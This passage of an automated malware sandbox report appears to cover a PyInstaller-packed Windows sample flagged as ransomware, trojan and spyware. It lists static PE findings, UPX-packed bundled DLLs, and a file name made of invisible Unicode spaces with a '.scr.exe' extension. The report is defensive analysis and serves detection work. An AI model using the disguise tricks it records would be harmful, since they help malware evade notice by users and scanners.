Source: api-ms-win-crt-stdio-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.0.dr Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: #U202f#U202f#U2005#U00a0.scr.exe Binary or memory string: OriginalFilename vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037933852.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034682833.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035401905.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038915705.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042073233.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameselect.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042526776.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameucrtbase.dllj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033391617.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_ctypes.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033733200.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_hashlib.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034476266.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042177471.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesqlite3.dll0 vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035945476.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036561449.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037632410.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037785909.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034348641.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_ssl.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035844726.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036690975.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037437086.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037218357.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038015630.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033839925.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_lzma.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042909763.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameunicodedata.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034111679.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_socket.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037713341.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037539805.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034224665.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_sqlite3.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037350742.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035749504.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036215404.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034770359.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033990521.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_queue.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038812496.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036953380.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037858907.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033195251.000001CCD86C3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_bz2.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035650264.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038238108.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038322803.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038599367.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034582747.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038707513.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000000.2032418452.00007FF73AE52000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameMDMAgentj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040865247.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibsslH vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038502657.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036066040.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035542606.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038406109.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2032727413.000001CCD86C3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevcruntime140.dllT vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033558347.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_decimal.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037034859.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036777921.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038117369.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036870702.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037125137.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2340140316.00007FF8A9398000.00000004.00000001.01000000.00000011.sdmp Binary or memory string: OriginalFilenamelibsslH vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2343212572.00007FF8B984C000.00000004.00000001.01000000.0000000E.sdmp Binary or memory string: OriginalFilenameselect.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2342965199.00007FF8B93D8000.00000004.00000001.01000000.0000000D.sdmp Binary or memory string: OriginalFilename_socket.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2341048034.00007FF8B8CC3000.00000004.00000001.01000000.00000012.sdmp Binary or memory string: OriginalFilename_hashlib.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2336517828.00007FF8A86A9000.00000004.00000001.01000000.00000010.sdmp Binary or memory string: OriginalFilenamelibcryptoH vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2337520197.00007FF8A8853000.00000004.00000001.01000000.0000000C.sdmp Binary or memory string: OriginalFilenamesqlite3.dll0 vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2340442986.00007FF8B7EEE000.00000002.00000001.01000000.00000004.sdmp Binary or memory string: OriginalFilenameucrtbase.dllj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2340792166.00007FF8B8B42000.00000004.00000001.01000000.0000000F.sdmp Binary or memory string: OriginalFilename_ssl.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2339600779.00007FF8A8F2A000.00000004.00000001.01000000.00000005.sdmp Binary or memory string: OriginalFilenamepython312.dll. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2342336186.00007FF8B9094000.00000004.00000001.01000000.00000007.sdmp Binary or memory string: OriginalFilename_ctypes.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2341984089.00007FF8B906C000.00000004.00000001.01000000.00000013.sdmp Binary or memory string: OriginalFilename_queue.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2333652744.00007FF73AE52000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameMDMAgentj% vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2341701034.00007FF8B8F9C000.00000004.00000001.01000000.00000009.sdmp Binary or memory string: OriginalFilename_lzma.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2334206076.00007FF8A81AA000.00000004.00000001.01000000.00000014.sdmp Binary or memory string: OriginalFilenameunicodedata.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2341319253.00007FF8B8CF3000.00000004.00000001.01000000.0000000B.sdmp Binary or memory string: OriginalFilename_sqlite3.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2343410682.00007FF8B9F78000.00000004.00000001.01000000.0000000A.sdmp Binary or memory string: OriginalFilename_bz2.pyd. vs #U202f#U202f#U2005#U00a0.scr.exe
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2343586290.00007FF8BA259000.00000002.00000001.01000000.00000006.sdmp Binary or memory string: OriginalFilenamevcruntime140.dllT vs #U202f#U202f#U2005#U00a0.scr.exe
Source: libcrypto-3.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9989650991958289
Source: libssl-3.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9923451741536459
Source: python312.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9992524518674001
Source: sqlite3.dll.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9974527256801319
Source: unicodedata.pyd.0.dr Static PE information: Section: UPX1 ZLIB complexity 0.9951941924283154
Source: classification engine Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@144/95@2/2